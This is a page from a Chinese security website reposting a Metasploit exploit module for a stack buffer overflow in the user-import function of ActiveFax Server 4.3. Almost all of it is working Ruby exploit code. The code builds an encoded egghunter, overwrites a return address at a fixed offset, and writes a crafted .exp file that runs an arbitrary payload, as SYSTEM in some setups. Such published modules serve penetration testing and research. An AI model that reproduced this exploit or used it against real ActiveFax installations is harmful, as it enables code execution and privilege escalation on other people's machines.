首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
ActiveFax (ActFax) 4.3 Client Importer Buffer Overflow
来源:http://www.metasploit.com 作者:juan 发布时间:2012-09-10  

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::FILEFORMAT
 include Msf::Exploit::Remote::Egghunter

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'ActiveFax (ActFax) 4.3 Client Importer Buffer Overflow',
   'Description'    => %q{
     This module exploits a vulnerability in ActiveFax Server. The vulnerability is
    a stack based buffer overflow in the "Import Users from File" function, due to the
    insecure usage of strcpy while parsing the csv formatted file. The module creates a
    .exp file that must be imported with ActiveFax Server. It must be imported with the
    default character set 'ECMA-94 / Latin 1 (ISO 8859)'. The module has been tested
    successfully on ActFax Server 4.32 over Windows XP SP3 and Windows 7 SP1. In the
    Windows XP case, when ActFax runs as a service, it will execute as SYSTEM.
   },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     'Craig Freyman', # Vulnerability discovery and PoC
     'Brandon Perry', # Metasploit module
     'juan vazquez'   # Metasploit module
    ],
   'References'     =>
    [
     [ 'EDB', '20915' ],
     [ 'URL', 'http://www.pwnag3.com/2012/08/actfax-local-privilege-escalation.html' ]
    ],
   'DefaultOptions' =>
    {
     'ExitFunction' => 'process',
    },
   'Platform'       => 'win',
   'Payload'        =>
    {
     'Space' => 4000,
     'BadChars' => "",
     'DisableNops' => true,
    },

   'Targets'        =>
    [
     [ 'ActFax 4.32 / Windows XP SP3 EN / Windows 7 SP1',
      {
       'Ret'   => 0x00401b22, # ret from ActFax.exe]
       'Offset'  => 512
      }
     ]
    ],
   'Privileged'     => true,
   'DisclosureDate' => 'Aug 28 2012',
   'DefaultTarget'  => 0))

  register_options([OptString.new('FILENAME', [ false, 'The file name.', 'msf.exp']),], self.class)

 end

 def exploit

  #These badchars do not apply to the final payload
  badchars = (0x00..0x20).to_a.pack("C*") + "\x7c"

  eggoptions =
   {
    :checksum => true,
    :eggtag => 'w00t'
   }

  hunter,egg = generate_egghunter(payload.encoded, badchars, eggoptions)

  [ 'x86/alpha_upper'].each { |name|
   enc = framework.encoders.create(name)
   if name =~/alpha/
    enc.datastore.import_options_from_hash({ 'BufferRegister' => 'ESP' })
   end
   hunter = enc.encode(hunter, nil, nil, platform)
  }

  buffer = "\x83\xC4\x7f" * 19 # add esp, byte 0xff
  buffer << "\x83\xC4\x23" # add esp, byte 0x23
  buffer << hunter
  buffer << rand_text(target['Offset'] - buffer.length, badchars)
  buffer << [target.ret].pack("V")
  buffer << egg

  file =  "User Name\tEntire User Name\tPassword\tAlias-Names\tGroup\tDirect Dialing\tCost Account\tPermissions\tComments\tUser-Defined\t"
  file << "Predefined Settings\tName 1\tName 2\tName 3\tName 4\tName 5\tDepartment\tAttention of\tPhone 1\tPhone 2\tFax Number\tE-Mail\t"
  file << "Coverpage Non-Windows\tOverlay Non-Windows\tCoverpage Windows\tOverlay Windows\tUser-Defined\tPrinter Settings\tAutomatic Printing Outgoing\t"
  file << "Printer Name Outgoing\tReport Outgoing\tAutomatic Printing Incoming\tPrinter Name Incoming\tReport Incoming\tNotification Outgoing\t"
  file << "Email Outgoing\tNotification Incoming\tEmail Incoming\tAttach Original Message\tUser-Defined Archive Settings\tExport Outgoing\t"
  file << "Export Incoming\tExport-Path\tMark as Read\r\n"
  file << buffer
  file << "\r\n"

  file_create(file)

 end
end


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Sflog! CMS 1.0 Arbitrary File
·CAS Modbus RTU Parser Buffer O
·WAN Emulator v2.3 Command Exec
·TP-LINK TL-WR340G Denial Of Se
·Openfiler v2.x NetworkCard Com
·Symantec Messaging Gateway 9.5
·Oracle VM VirtualBox 4.1 Local
·HP SiteScope Remote Code Execu
·WIS Coldfusion Exploit
·mcrypt 2.6.8 Buffer Overflow P
·JBoss DeploymentFileRepository
·MobileCartly 1.0 Arbitrary Fil
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved